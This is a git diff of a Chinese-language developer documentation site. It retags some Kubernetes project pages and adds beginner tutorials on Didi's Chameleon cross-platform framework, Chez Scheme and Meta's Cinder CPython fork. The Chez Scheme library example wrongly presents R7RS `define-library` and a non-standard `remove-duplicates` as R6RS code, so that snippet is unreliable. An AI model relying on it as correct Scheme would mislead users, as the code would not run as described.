+- 仓库：[github.com/ryoppippi/ccusage](https://github.com/ryoppippi/ccusage)
+- npm：[npmjs.com/package/ccusage](https://www.npmjs.com/package/ccusage)
+- 相关工具：Claude Code 内置 `/cost`；OpenAI Codex 侧可配合 `codex` 自有日志目录用 `ccusage codex` 统一查看
+
+---
+
+**一句话总结**：ccusage 把「Coding CLI 在本地留下的 token 日志」变成**可读的账单式报表**——不上传对话、不替官方开票，但足够让你知道**钱和时间花在了哪几次 session、哪几个模型、哪几个项目**上。
diff --git a/src/content/docs/projects/cert-manager.md b/src/content/docs/projects/cert-manager.md
index dfab6f7bd..3e51b2a57 100644
--- a/src/content/docs/projects/cert-manager.md
+++ b/src/content/docs/projects/cert-manager.md
@@ -2,7 +2,7 @@
 title: cert-manager — K8s 自动签发与续期 TLS 证书
 来源: https://github.com/cert-manager/cert-manager
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/chameleon.md b/src/content/docs/projects/chameleon.md
new file mode 100644
index 000000000..4aff59205
--- /dev/null
+++ b/src/content/docs/projects/chameleon.md
@@ -0,0 +1,325 @@
+---
+title: Chameleon — 滴滴「变色龙」跨端框架，一套 CML 跑遍 Web / 小程序 / Weex
+来源: https://github.com/didi/chameleon
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Chameleon（简称 **CML**，中文名「卡梅龙」）是滴滴开源的**跨端统一开发框架**：你用一套自研的 CML 语言写页面，同一工程可以编译到 Web、微信/支付宝/百度/QQ/字节跳动小程序、快应用，以及基于 Weex 的 iOS/Android 原生渲染。官方口号是「**一端所见即多端所见**」——在浏览器里预览成什么样，各端应尽量一致，不必为每个平台单独翻文档。
+
+日常类比：Chameleon 像一只**变色龙**。同一只蜥蜴（你的 `.cml` 源码）会根据栖息环境（微信、支付宝、H5、Weex）自动换皮，但骨骼和肌肉（MVVM 结构、生命周期、组件模型）保持不变。你不必为雨林、沙漠、岩石各养一只不同的宠物——维护一份「物种说明书」即可。
+
+它和「把 H5 塞进 WebView」或「纯编译时字符串替换」都不同。Chameleon 在**语言层**定义统一框架，再用**多态协议**把业务代码与各端底层能力隔开：公共逻辑里不能直接写 `wx.`、`my.`、`window` 等平台专有对象，必须通过标准接口扩展，从而在大型项目里保住可维护性。
+
+```bash
+# 全局安装 CLI（官方要求 npm，暂不建议 yarn/cnpm 安装工具链）
+npm i -g chameleon-tool
+
+# 创建项目并启动开发预览
+cml init project
+cd <你的项目名>
+cml dev
+
+# 内置 Todo 示例，适合学习数据流与页面结构
+cml init project --demo todo
+```
+
+## 为什么重要
+
+不理解 Chameleon，以下问题容易在跨端选型里踩坑：
+
+- **滴滴系业务为何曾押注 CML**：2019 年前后小程序与 App 入口爆炸，同一功能要在微信、支付宝、百度、快应用、Weex 各写一遍，维护成本指数上升；Chameleon 试图从「前端中台」角度统一 MVVM，而不是只做语法转译
+- **与 Taro / uni-app 的差异**：Taro 以 React/Vue 为源码、运行时适配各端；uni-app 以 Vue 为核心；Chameleon 用**自研 CML + 类 Vue 语法**，更强调语言级一致性与多态协议边界
+- **「能跑」和「能长期维护」不是一回事**：跨 6 个端、扩展上百个 API 时，若公共代码里散落平台分支，跨端收益会被维护债吃掉——这正是多态协议要解决的问题
+- **渐进式接入**：不必一次性重写老项目；可用 CML 只写可复用组件或新页面，再嵌入各端原生工程
+
+## 核心概念
+
+Chameleon 的技术栈可以拆成七块：
+
+### 1. 三层文件模型：CML + CMSS + JS
+
+类比网页开发的 HTML + CSS + JavaScript，Chameleon 使用：
+
+| 层 | 名称 | 作用 |
+|----|------|------|
+| 结构 | **CML**（Chameleon Markup Language） | 模板、条件/列表渲染、数据绑定 |
+| 样式 | **CMSS** | 写在 `.cml` 的 `<style>` 中，跨端样式 |
+| 逻辑 | **JS** | 类组件或 Vue 风格 `export default` |
+
+一个 `.cml` 文件把模板、脚本、样式、JSON 配置（如 `usingComponents`）收进**单文件组件**，类似 Vue SFC，但标签是跨端语义组件（`view`、`text`、`button` 等），不是 `div`/`span`。
+
+### 2. MVVM 跨端大统一
+
+各端底层千差万别，但 Chameleon 认定共同点都是 **MVVM**：统一生命周期、内置组件、事件、路由、布局单位、组件作用域与通信方式，让开发者「学一次，写多端」。你在 CML 里写的 `data`、`methods`、模板绑定，由编译链映射到各端视图更新机制（小程序 `setData`、Web DOM、Weex 原生视图等）。
+
+### 3. 多态协议（Polymorphic Protocol）
+
+这是 Chameleon 区别于许多跨端方案的核心设计，灵感来自 Apache Thrift 的跨语言接口思想：
+
+1. 为能力定义**标准 interface**（输入输出类型与结构）；
+2. 各端**独立实现**该 interface；
+3. 编译期与运行期做类型/结构检查；
+4. **业务公共代码禁止**直接调用 `window`、`wx`、`my`、`swan`、`weex` 等端专有全局对象——即使写在 `if` 里也不行。
+
+类比：多态协议是**海关检疫口**。货物（业务逻辑）出境前必须符合统一报关单（interface），各口岸（平台）各自清关，但货单格式全球一致。你想加「刷脸登录」这种新能力，扩展的是接口实现包，而不是在 5 万行业务文件里复制粘贴 6 份 `wx.login` / `my.getAuthCode`。
+
+### 4. chameleon-api 统一 API 层
+
+常用能力封装在 npm 包 **`chameleon-api`**：网络请求、本地存储、地理位置、系统信息、动画等。业务侧调用统一函数，底层由多态实现路由到各端。这样扩展 100 个接口时，仍保持公共调用签名一致。
+
+### 5. chameleon-tool CLI 与 Webpack 工程链
+
+`chameleon-tool` 提供 `cml init`、`cml dev`、`cml build`，并按端分子命令：
+
+| 命令 | 目标 |
+|------|------|
+| `cml web dev` / `cml web build` | Web |
+| `cml wx dev` / `cml wx build` | 微信小程序 |
+| `cml alipay dev` / `build` | 支付宝小程序 |
+| `cml baidu dev` / `build` | 百度小程序 |
+| `cml weex dev` / `build` | Weex（iOS/Android） |
+
+开发模式常同时构建 Web 端，便于 API Mock 与预览。生产构建读 `chameleon.config.js`，可用 `devOffPlatform` / `buildOffPlatform` 关闭不需要的端。
+
+### 6. 项目目录与路由
+
+典型工程结构：
+
+```
+├── chameleon.config.js    # 构建与多端开关
+├── dist/                  # 各端产出
+├── mock/                  # 本地 mock 数据
+├── package.json
+└── src/
+    ├── app/               # 应用入口（app.cml）
+    ├── pages/             # 页面，每页一个 .cml
+    ├── components/        # 可复用组件
+    ├── router.config.json # 路由表
+    └── store/             # 全局状态
+```
+
+路由在 `router.config.json` 集中声明，页面通过 `cml init page` 脚手架生成，组件通过 `cml init component` 生成。JSON 配置块写在 `<script cml-type="json">` 中，用于注册 `usingComponents` 等，风格接近小程序 `json` 配置。
+
+### 7. 渐进式跨端与生态
+
+- **C-Design**：基于 CML 的多端 UI 组件库（选择器、索引列表、消息提示等）；
+- **G 服务扩展**：统一云存储、数据库、云函数等后端能力接入（面向小程序场景）；
+- 老项目可只把**高复用组件**用 CML 重写，再在各端原生壳里引用，降低迁移门槛。
+
+创建项目时可选 `--lang vue` 使用 Vue 风格模板，默认 `cml` 为类组件写法；`--demo todo` 可生成官方 TodoList 学习模板。
+
+## 示例一：计数器首页（CML 单文件）
+
+下面是一个最小页面：展示环境信息、计数与按钮跳转。注意标签使用 `view`/`text`/`cml-button`，逻辑用 class 或 Vue 风格导出。
+
+```vue
+<!-- src/pages/index/index.cml -->
+<template>
+  <view class="index">
+    <text class="title">你好，Chameleon</text>
+    <text class="subtitle">当前计数：{{ count }}</text>
+    <cml-button type="primary" c-bind:tap="onAdd">点我 +1</cml-button>
+    <cml-button c-bind:tap="goList">去看列表页</cml-button>
+  </view>
+</template>
+
+<script>
+class Index {
+  data = {
+    count: 0,
+  };
+
+  onAdd() {
+    this.count += 1;
+  }
+
+  goList() {
+    // 路由跳转由各端 adapter 处理，路径与 router.config.json 一致
+    this.$cml.navigateTo({ path: '/pages/list/list' });
+  }
+}
+
+export default new Index();
+</script>
+
+<style scoped>
+.index {
+  padding: 40px;
+  align-items: center;
+}
+.title {
+  font-size: 36px;
+  font-weight: 600;
+  margin-bottom: 24px;
+}
+.subtitle {
+  font-size: 28px;
+  color: #666;
+  margin-bottom: 32px;
+}
+</style>
+
+<script cml-type="json">
+{
+  "base": {
+    "navigationBarTitleText": "首页"
+  }
+}
+</script>
+```
+
+要点：`c-bind:tap` 绑定点击；样式写在同一文件；页面标题走 JSON 配置块。开发时 `cml dev` 会在浏览器打开预览，并并行构建已启用的小程序/Weex 产物到 `dist/`。
+
+## 示例二：chameleon-api 拉列表 + 自定义组件
+
+列表页演示网络请求、下拉刷新与组件引用——跨端应走 `chameleon-api`，而不是 `wx.request`。
+
+```vue
+<!-- src/pages/list/list.cml -->
+<template>
+  <view class="list-page">
+    <order-card
+      c-for="(item, index) in orders"
+      c-bind:key="item.id"
+      c-bind:order="item"
+      c-bind:tap="onTapOrder"
+      data-id="{{ item.id }}"
+    />
+    <text c-if="loading" class="hint">加载中…</text>
+    <text c-elif="!orders.length" class="hint">暂无订单</text>
+  </view>
+</template>
+
+<script>
+import cml from 'chameleon-api';
+
+class List {
+  data = {
+    orders: [],
+    loading: false,
+    page: 1,
+  };
+
+  created() {
+    this.fetchOrders(true);
+  }
+
+  async fetchOrders(reset = false) {
+    if (this.loading) return;
+    this.loading = true;
+    try {
+      const res = await cml.request({
+        url: 'https://api.example.com/orders',
+        method: 'GET',
+        data: { page: reset ? 1 : this.page },
+      });
+      const list = res.data?.list ?? [];
+      this.orders = reset ? list : this.orders.concat(list);
+      if (!reset) this.page += 1;
+    } catch (e) {
+      await cml.showToast({ message: '加载失败', duration: 2000 });
+    } finally {
+      this.loading = false;
+      cml.stopPullDownRefresh();
+    }
+  }
+
+  onPullDownRefresh() {
+    this.page = 1;
+    this.fetchOrders(true);
+  }
+
+  onTapOrder(evt) {
+    const id = evt.currentTarget.dataset.id;
+    this.$cml.navigateTo({ path: `/pages/detail/detail?id=${id}` });
+  }
+}
+
+export default new List();
+</script>
+
+<style scoped>
+.list-page {
+  padding: 24px;
+}
+.hint {
+  text-align: center;
+  color: #999;
+  margin-top: 48px;
+}
+</style>
+
+<script cml-type="json">
+{
+  "base": {
+    "navigationBarTitleText": "订单列表",
+    "enablePullDownRefresh": true,
+    "usingComponents": {
+      "order-card": "../../components/order-card/order-card"
+    }
+  }
+}
+</script>
+```
+
+```vue
+<!-- src/components/order-card/order-card.cml -->
+<template>
+  <view class="card">
+    <text class="id">#{{ order.id }}</text>
+    <text class="status">{{ order.status }}</text>
+  </view>
+</template>
+
+<script>
+class OrderCard {
+  props = ['order'];
+}
+export default new OrderCard();
+</script>
+
+<style scoped>
+.card {
+  padding: 24px;
+  margin-bottom: 16px;
+  background: #fff;
+  border-radius: 12px;
+}
+.id { font-size: 28px; font-weight: 600; }
+.status { font-size: 24px; color: #07c160; margin-top: 8px; }
+</style>
+
+<script cml-type="json">
+{}
+</script>
+```
+
+要点：`cml.request` / `cml.showToast` 替代平台原生 API；`c-for`、`c-if` 做列表与空态；组件通过 `usingComponents` 注册路径；下拉刷新在 JSON 里 `enablePullDownRefresh: true`，逻辑里 `onPullDownRefresh` 与 `cml.stopPullDownRefresh()` 配对。
+
+## 与 Taro、uni-app 怎么选
+
+| 维度 | Chameleon | Taro | uni-app |
+|------|-----------|------|---------|
+| 源码语法 | CML（类 Vue / 可选 Vue） | React 或 Vue | Vue |
+| 一致性保障 | 语言层 + 多态协议强约束 | 运行时 + 组件映射 | 编译器 + `uni` API |
+| 典型场景 | 滴滴/青桔等历史 CML 项目、强一致多端 | React 团队、京东系 | Vue 团队、DCloud 生态 |
+| 学习曲线 | 需学 CML 与多态扩展规则 | 会 React/Vue 即可 | 会 Vue 即可 |
+
+若团队已深度使用 React 或 Vue，Taro/uni-app 往往更顺手；若你要理解「**用协议边界管住跨端维护性**」这一设计思路，或维护遗留 CML 工程，Chameleon 值得系统学习。
+
+## 学习路径建议
+
+1. 读官方站 [CML.JS.org](https://cml.js.org) 的「快速上手」「CML 语法」「多态协议」三章；
+2. `cml init project --demo todo` 跑通 Todo，观察 `store` 与页面通信；
+3. 用 `cml wx dev` 在微信开发者工具打开 `dist` 下微信产物，对照 Web 预览差异；
+4. 尝试为一个简单 API（如自定义分享）写多态 interface + 各端实现包；
+5. 浏览 [awesome-cml](https://github.com/chameleon-team/awesome-cml) 与滴滴青桔实践分享，了解真实业务边界。
+
+## 小结
+
+Chameleon 不是简单的「小程序语法翻译器」，而是滴滴在入口碎片化时代提出的**跨端 MVVM 统一语言 + 多态协议**方案：`.cml` 单文件承载 UI 与逻辑，`chameleon-tool` 一次构建多端，`chameleon-api` 屏蔽平台 API 差异，多态协议防止公共代码被 `wx`/`my` 污染。作为零基础学习者，把它当成「会变色的中央厨房」——菜谱（CML）一份，各分店（平台）按统一卫生标准（interface）出餐，才能在大规模迭代里仍吃得下跨端这碗饭。
diff --git a/src/content/docs/projects/chaos-mesh.md b/src/content/docs/projects/chaos-mesh.md
index 182dc5db5..12a053d2d 100644
--- a/src/content/docs/projects/chaos-mesh.md
+++ b/src/content/docs/projects/chaos-mesh.md
@@ -2,7 +2,7 @@
 title: Chaos Mesh — K8s 原生混沌工程平台
 来源: https://github.com/chaos-mesh/chaos-mesh
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/chez-scheme.md b/src/content/docs/projects/chez-scheme.md
new file mode 100644
index 000000000..073d9ce83
--- /dev/null
+++ b/src/content/docs/projects/chez-scheme.md
@@ -0,0 +1,200 @@
+---
+title: Chez Scheme — Cisco 开源的高性能 R6RS 实现
+来源: https://github.com/cisco/ChezScheme
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Chez Scheme 学习笔记
+
+## 什么是 Chez Scheme
+
+想象一下，你写了一段菜谱（程序），大多数编程语言会请一个"翻译官"（解释器）逐字念给你听，每念一步就执行一步。而 Chez Scheme 更像是一个"编译器工厂"——它把你的菜谱直接变成机器能直接执行的指令，而且速度快得惊人。
+
+Chez Scheme 是 Cisco 开源的一个 Scheme 编程语言实现，遵循 R6RS（Revised6 Report on the Algorithmic Language Scheme）标准，并在此基础上做了大量增强。它是目前最快的 Scheme 实现之一，也是学术圈和工业界都在用的"重型武器"。
+
+关键数据：GitHub 上 7.3k stars，Apache 2.0 开源协议，支持 Windows、Mac、Linux、FreeBSD 等几乎所有主流平台，甚至能在 iOS 和 WebAssembly 上运行。
+
+## Scheme 是什么
+
+如果你还没接触过 Lisp 家族，最简单的理解方式是：
+
+- Scheme 是一种函数式编程语言，属于 Lisp 家族
+- 它的特点是"代码即数据"——程序本身就是一个数据结构（S 表达式）
+- 它极小但极表达，核心语法很少，但通过宏系统可以扩展出任何东西
+
+## 核心概念
+
+### 1. S 表达式（S-Expressions）
+
+Scheme 中一切皆 S 表达式。一个 S 表达式可以是一个数字、一个字符串、一个符号，或者一个由括号包裹的列表。
+
+```scheme
+; 数字
+42
+
+; 字符串
+"hello"
+
+; 符号（相当于命名/标识符）
++
+my-variable
+
+; 列表（也是函数调用）
+(+ 1 2 3)       ; 计算 1+2+3，结果是 6
+(list 1 2 3)    ; 构造一个列表 '(1 2 3)
+```
+
+### 2. 函数是一等公民
+
+函数可以像普通数据一样被传递、返回和赋值。这是函数式编程的基石。
+
+### 3. 尾调用优化（Tail Call Optimization）
+
+这是 Scheme 最著名的特性之一。当一个函数的最后一个动作是调用另一个函数时，Scheme 会直接跳转而不增加调用栈深度。这意味着你可以用递归写出无限循环，而不会栈溢出。
+
+### 4. 宏系统（Hygienic Macros）
+
+Scheme 的宏在编译期工作，可以操作代码本身。"Hygienic"（卫生的）意味着宏不会意外捕获或污染变量名。
+
+### 5. 库系统（R6RS Libraries）
+
+R6RS 引入了正式的库/模块系统，用 `define-library` 定义，用 `import` 引入。
+
+## 代码示例
+
+### 示例一：基础语法
+
+```scheme
+#!r6rs
+(import (rnrs))
+
+; 定义函数
+(define (fib n)
+  (cond
+    ((<= n 1) n)
+    (else (+ (fib (- n 1)) (fib (- n 2))))))
+
+; 递归计算斐波那契数列
+(fib 10)  ; 结果是 55
+
+; let 绑定局部变量
+(let ((x 10) (y 20))
+  (+ x y))  ; 结果是 30
+
+; 高阶函数：map
+(map (lambda (x) (* x x)) '(1 2 3 4))  ; 结果是 '(1 4 9 16)
+
+; 尾递归版本（高效，不会栈溢出）
+(define (fib-tail n)
+  (define (loop a b count)
+    (if (<= count 0)
+        a
+        (loop b (+ a b) (- count 1))))
+  (loop 0 1 n))
+
+(fib-tail 1000)  ; 可以安全计算超大的值
+```
+
+说明：
+- `define` 定义函数或变量
+- `cond` 是条件分支，类似 if-else 链
+- `let` 绑定局部变量
+- `lambda` 创建匿名函数
+- `map` 把函数应用到列表每个元素上
+- 尾递归版本 `fib-tail` 利用 Scheme 的尾调用优化，计算 1000 项也不会栈溢出
+
+### 示例二：库系统与列表操作
+
+```scheme
+#!r6rs
+(import (rnrs)
+        (rnrs mutable-pairs)
+        (rnrs lists))
+
+; 定义一个简单的库
+(define-library (my-utils)
+  (export double factorial)
+  (import (rnrs))
+  (begin
+    ; 把列表中每个元素翻倍
+    (define (double lst)
+      (map (lambda (x) (* x 2)) lst))
+
+    ; 阶乘（尾递归）
+    (define (factorial n)
+      (let loop ((i 1) (acc 1))
+        (if (> i n)
+            acc
+            (loop (+ i 1) (* acc i)))))))
+
+; 使用库
+(import (my-utils))
+
+(double '(1 2 3 4))        ; 结果是 '(2 4 6 8)
+(factorial 10)             ; 结果是 3628800
+
+; 列表常用操作
+(reverse '(1 2 3))         ; '(3 2 1)
+(append '(1 2) '(3 4))     ; '(1 2 3 4)
+(filter even? '(1 2 3 4 5))  ; '(2 4)
+(remove-duplicates '(1 2 2 3 3 3))  ; '(1 2 3)
+```
+
+说明：
+- `define-library` 定义了模块 `(my-utils)`，导出 `double` 和 `factorial`
+- 库内部用 `import` 引入依赖
+- `filter` 保留满足条件的元素
+- `remove-duplicates` 去重
+
+### 示例三：数据结构（Records）
+
+```scheme
+#!r6rs
+(import (rnrs))
+
+; 定义一个"人"的数据类型
+(define-record-type person
+  (make-person name age)
+  person?
+  (name person-name)
+  (age person-age))
+
+; 创建实例
+(define alice (make-person "Alice" 30))
+(define bob (make-person "Bob" 25))
+
+; 访问字段
+(person-name alice)  ; "Alice"
+(person-age bob)     ; 25
+
+; 列表里存多个记录
+(define friends (list alice bob))
+(map person-name friends)  ; '("Alice" "Bob")
+```
+
+说明：
+- `define-record-type` 定义自定义数据结构
+- 自动生成构造函数 `make-person`、谓词 `person?`、访问器 `person-name`、`person-age`
+- 这是 Scheme 提供的最接近"类"的概念
+
+## Chez Scheme 的特别之处
+
+1. **默认编译**：虽然带有解释器，但所有代码默认即时编译成机器码，速度极快
+2. **垃圾回收**：自动内存管理，使用分代垃圾回收（generational garbage collection）
+3. **多线程**：支持多核并行
+4. **C 互操作**：可以和 C 语言直接接口
+5. **整个程序编译**：可以把程序和所有依赖库编译成一个独立的可执行文件
+6. **调试器和性能分析**：内置源码级调试器和性能分析工具
+
+## 学习资源
+
+- 《The Scheme Programming Language》第 4 版：http://www.scheme.com/tspl4/ — R6RS 标准的权威教材
+- Chez Scheme 用户指南：http://cisco.github.io/ChezScheme/csug/csug.html — 完整参考
+- GitHub 仓库：https://github.com/cisco/ChezScheme — 源码、构建说明、issue
+
+## 小结
+
+Chez Scheme 是一个"小而美"的典范——核心语言定义简洁，但实现却功能完备、性能顶尖。它适合学习函数式编程思想、编译原理（因为源码本身就是很好的编译器教材），也适合在需要高性能脚本能力的场景中使用。
diff --git a/src/content/docs/projects/cilium.md b/src/content/docs/projects/cilium.md
index 23d486f9e..c716f2c5b 100644
--- a/src/content/docs/projects/cilium.md
+++ b/src/content/docs/projects/cilium.md
@@ -2,7 +2,7 @@
 title: Cilium — 用 eBPF 把 K8s 网络从 iptables 时代搬出来
 来源: 'https://github.com/cilium/cilium'
 日期: 2026-06-01
-子分类: DevOps 与运维
+子分类: cloud-native
 分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/cinder.md b/src/content/docs/projects/cinder.md
new file mode 100644
index 000000000..ab95ee5f1
--- /dev/null
+++ b/src/content/docs/projects/cinder.md
@@ -0,0 +1,209 @@
+---
+title: Cinder — Instagram 内部 CPython 分支
+来源: https://github.com/facebookincubator/cinder
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Cinder** 是 Meta（Instagram 母公司）在 [facebookincubator/cinder](https://github.com/facebookincubator/cinder) 维护的 **CPython 性能分支**：在官方解释器之上，为 Instagram 等大规模 Python 服务加了 JIT、Static Python、Strict Modules 等优化。Instagram 的 Django Web 服务长期跑在 Cinder 上；仓库 README 也写明目标是**推动部分能力回流 upstream CPython**，而不是另立一套「替代 Python」。
+
+日常类比：如果把 **CPython** 想成全国统一的**标准版家用轿车**——能开、配件多、谁都会修，那 **Cinder** 更像 Instagram 车队里的**改装赛道版**：
+
+- **Shadowcode / 特化解释器** 像行车电脑：发现某段路（热函数）总是同样操作，就把通用指令换成「专用档位」；
+- **Cinder JIT** 像把常跑的高速路段**预先铺成专用高架**——把字节码编译成 x64 机器码，省掉解释器循环开销；
+- **Static Python** 像给司机一份**带类型标注的路线图**——编译期知道「这里是 int、那里是固定字段」，生成更窄、更快的字节码；
+- **Strict Modules** 像**密封式预制模块**——导入时保证模块顶层没有副作用，模块对象不可变，利于 fork 后共享内存；
+- **Immortal Instances** 像给长期停在车库里的车**摘掉里程表**——父进程里加载的大对象不再参与引用计数，减轻 pre-fork 架构下的 copy-on-write 压力。
+
+你写的仍是 `.py` 文件、仍是 Python 语法；差别在于**运行时**多了 Meta 为 Web 负载定制的快车道。2024 年起，部分能力又以 **[CinderX](https://github.com/facebookincubator/cinderx)** 扩展形式向 stock CPython 靠拢——Python 3.14 起 CinderX 可在**未打补丁的官方 CPython** 上加载 JIT。
+
+## 为什么重要
+
+不懂 Cinder，下面这些现象很难讲透：
+
+- **为什么 Instagram 不直接用 PyPy**——生态与 C 扩展、Django 部署模型、pre-fork 多进程架构，Meta 选择在 CPython 兼容栈上**就地加速**
+- **CPython 3.11+ 的自适应特化解释器（PEP 659）从哪来**——Cinder 的 **Shadowcode** 是同类思路的早期生产验证
+- **类型标注除了 mypy 还能干什么**——Static Python 把注解变成**专用 opcode + JIT 内联调用**，接近 Cython/mypyc 的收益而保持纯 Python 写法
+- **为什么官方 README 说「我们不打算维护成第二套 Python」**——开源是为了**讨论 upstream**，外部用户需自担风险
+- **CPython 3.13 实验 JIT 与 Meta 路线有何关系**——Cinder 多年 JIT/HIR/LIR 管线为社区提供了可参考的工程样本
+
+## 核心概念
+
+### 1. Cinder 在 Python 实现谱系中的位置
+
+| 实现 | 与 CPython 关系 | 典型加速手段 |
+|------|-----------------|--------------|
+| **CPython** | 官方参考实现 | 3.11+ 自适应特化、3.13 实验 JIT |
+| **Cinder** | CPython **fork + Meta 补丁** | Shadowcode、方法级 JIT、Static Python |
+| **CinderX** | **扩展**（PyPI `cinderx`） | 热函数 JIT、`cinderx.jit.auto()` |
+| **PyPy** | 独立 VM + tracing JIT | 纯 Python 循环常更快，C 扩展生态不同 |
+
+Cinder **不是新语言**；语义目标仍是 Python，只是运行时多了 `Ci_` 前缀的内部 API 与额外 opcode。
+
+### 2. 源码树：在 CPython 上加了什么
+
+典型 Cinder 3.10 分支在 CPython 布局上额外包含：
+
+```
+cinder/
+├── Python/ceval.c          # 解释器循环 + Shadowcode 特化 opcode
+├── Shadowcode/             # 特化解释器核心
+├── Jit/                    # HIR → LIR → asmjit 机器码
+│   ├── hir/  lir/  codegen/
+├── StaticPython/           # 静态类型类加载、字段偏移
+├── Lib/compiler/static/    # Static Python 编译器
+└── CinderDoc/              # Static Python 等文档
+```
+
+执行路径仍是 **源码 → AST → 字节码 → eval loop**；Static Python 则在编译阶段换一条**更窄的字节码**。
+
+### 3. Shadowcode（特化解释器）
+
+Shadowcode 在**运行时**观察热函数里哪些 opcode 总落在可优化形态（例如某次 `LOAD_ATTR` 总是同一类型），然后把通用 opcode **动态替换**为特化版本。 spirit 上接近 CPython 3.11 的 specializing adaptive interpreter（PEP 659），但 Cinder 在 3.10 时代就已用于 Instagram 生产。
+
+### 4. Cinder JIT（方法级 JIT）
+
+- **启用**：`./python -X jit` 或环境变量 `PYTHONJIT=1`
+- **粒度**：**method-at-a-time**（按函数编译），C++ 实现，经 **HIR（高层 IR）→ LIR → asmjit** 生成 x64 机器码
+- **收益**：官方 README 称许多基准约 **1.5–4×**；与 Static Python 联用时 Richards 类基准可达 **~18×**（相对 stock CPython 3.10）
+- **生产策略**：Instagram 使用 **pre-fork**——在父进程里根据 **jit-list 文件**预先编译热点，而非典型 JIT 的「运行中再发现热点」，以便 worker 共享只读代码页
+
+Python 侧可通过内置 **`cinderjit`** 模块 introspect 或强制编译（见下方示例）。
+
+### 5. Static Python
+
+Static Python 是 Cinder 的**带类型注解的字节码编译器**：
+
+- 类属性、`__init__` 里带注解的赋值 → **typed slots**，属性读写变成 `LOAD_FIELD` / `STORE_FIELD`（JIT 里接近 C 结构体偏移访问）
+- 静态函数互调 → `INVOKE_FUNCTION` / `INVOKE_METHOD`，JIT 可降为 **x64 直接调用**
+- 仍支持**渐进类型**：未知类型回退动态 Python，必要时插入运行时 `CAST`
+- 模块顶行 `import __static__` 表示参与静态编译；配合 strict loader 可跨模块静态链接
+
+实验入口（Cinder 树内）：
+
+```bash
+./python -m compiler --static some_module.py
+./python -m compiler --static --dis some_module.py   # 编译并反汇编
+```
+
+### 6. Strict Modules
+
+三合一机制：
+
+1. **静态分析**：模块顶层执行不得产生**跨模块可见副作用**
+2. **`StrictModule` 类型**：替代普通 module，**不可变**
+3. **Loader**：识别 `import __strict__`，验证通过后装入 `sys.modules`
+
+与 Static Python、immortal/freeze 类型配合，减少 import 时动态性，利于**大进程 fork 共享**。
+
+### 7. 其他 Instagram 向优化
+
+| 特性 | 解决的问题 |
+|------|------------|
+| **Immortal Instances** | pre-fork 后子进程改 refcount 触发 COW，长期对象「免计数」约 **~5%** CPU |
+| **Await-aware calls** | async 密集；立即 `await` 的协程可**急切求值**，少分配 Task |
+| **字节码 inline cache** | 属性/方法查找缓存（与 upstream 方向一致） |
+
+### 8. Cinder → CinderX 演进
+
+Meta 后来把许多能力做成 **`cinderx` PyPI 包**，在较新 Python 上以扩展形式交付 JIT，降低「整仓 fork CPython」的维护成本。仓库 README 现注明：**Cinder 仓库名保留历史**；新用户若只想试 JIT，可优先看 [CinderX](https://github.com/facebookincubator/cinderx)。**Python 3.14** 被描述为首个支持 **stock CPython + CinderX** 的组合。
+
+## 实践案例
+
+### 案例 1：启用 JIT 并检查函数是否已编译
+
+在 Cinder 运行时（非普通 CPython）：
+
+```python
+# 启动解释器时: PYTHONJIT=1 ./python app.py
+# 或: ./python -X jit app.py
+
+import cinderjit
+
+def hot_loop(n: int) -> int:
+    total = 0
+    for i in range(n):
+        total += i * i
+    return total
+
+hot_loop(10_000)  # 触发执行
+
+if cinderjit.iscompiled(hot_loop):
+    print("hot_loop 已在 JIT 中")
+else:
+    cinderjit.compile(hot_loop)  # 强制编译
+    print("已强制 JIT:", cinderjit.iscompiled(hot_loop))
+```
+
+生产环境更常见的是 **`PYTHONJITLISTFILE=/path/to/jitlist.txt`**，文件每行一个 qualified name，例如 `myapp.views:render_feed`，只编译 profiling 出来的热点。
+
+### 案例 2：Static Python 模块（类型 + 静态导入标记）
+
+```python
+# file: fast_stats.py
+import __static__  # 告诉 Cinder strict/static loader 按 Static Python 编译
+
+def variance(xs: list[float]) -> float:
+    n: int = len(xs)
+    if n == 0:
+        return 0.0
+    mean: float = sum(xs) / n
+    acc: float = 0.0
+    for x in xs:
+        d: float = x - mean
+        acc += d * d
+    return acc / n
+```
+
+在启用 strict loader 的应用里，该模块与其他 `__static__` 模块互调时，编译器可省略重复运行时类型检查，并生成 `INVOKE_*`  opcode；配合 JIT 后，内层循环接近原生算术成本。本地试验可：
+
+```bash
+PYTHONINSTALLSTRICTLOADER=1 ./python -X jit -c "import fast_stats; print(fast_stats.variance([1.0, 2.0, 3.0]))"
+```
+
+### 案例 3：用 Docker 快速体验（无需本机构建）
+
+官方推荐 Linux x64 + Docker：
+
+```bash
+docker run -it --rm ghcr.io/facebookincubator/cinder-runtime:cinder-3.10
+```
+
+容器内 `./python` 即为 Cinder 构建。README 提醒：GitHub Actions 默认构建**未开 PGO/LTO**，本地 Docker 体验**不代表** Instagram 生产二进制的全速。
+
+### 案例 4：在线探索编译管线
+
+[Cinder Explorer（trycinder.com）](https://trycinder.com) 可在浏览器里查看**源码 → 字节码 →（Static/JIT）→ 汇编** 的流水线，适合理解 Static Python 与 JIT Lowering，无需克隆整棵 CPython 树。
+
+## 与 CPython upstream 的关系
+
+Cinder 团队多次强调：**目标是一起把 CPython 变快**，而非 fork 永久分裂。已影响或平行 upstream 的方向包括：
+
+- **特化解释器**（Shadowcode ↔ PEP 659）
+- **Immortal 对象**（讨论减少 refcount 对 fork 的伤害）
+- **async 急切求值** 等 Web 负载微优化
+- **基于注解的内联与 deopt** 思路（与 3.13+ 实验 JIT 生态对话）
+
+外部开发者应把 Cinder 当作**研究型生产分支**：Issue/PR **无 SLA**；macOS 等非 Linux x64 环境**往往无法构建**。
+
+## 何时该关心、何时可跳过
+
+**值得深入**：
+
+- 研究 **CPython 性能演进**、JIT 工程化、Static Python / 渐进类型编译
+- 对比 **Cython、mypyc、PyPy、torch.compile** 等「让 Python 更快」路线的设计权衡
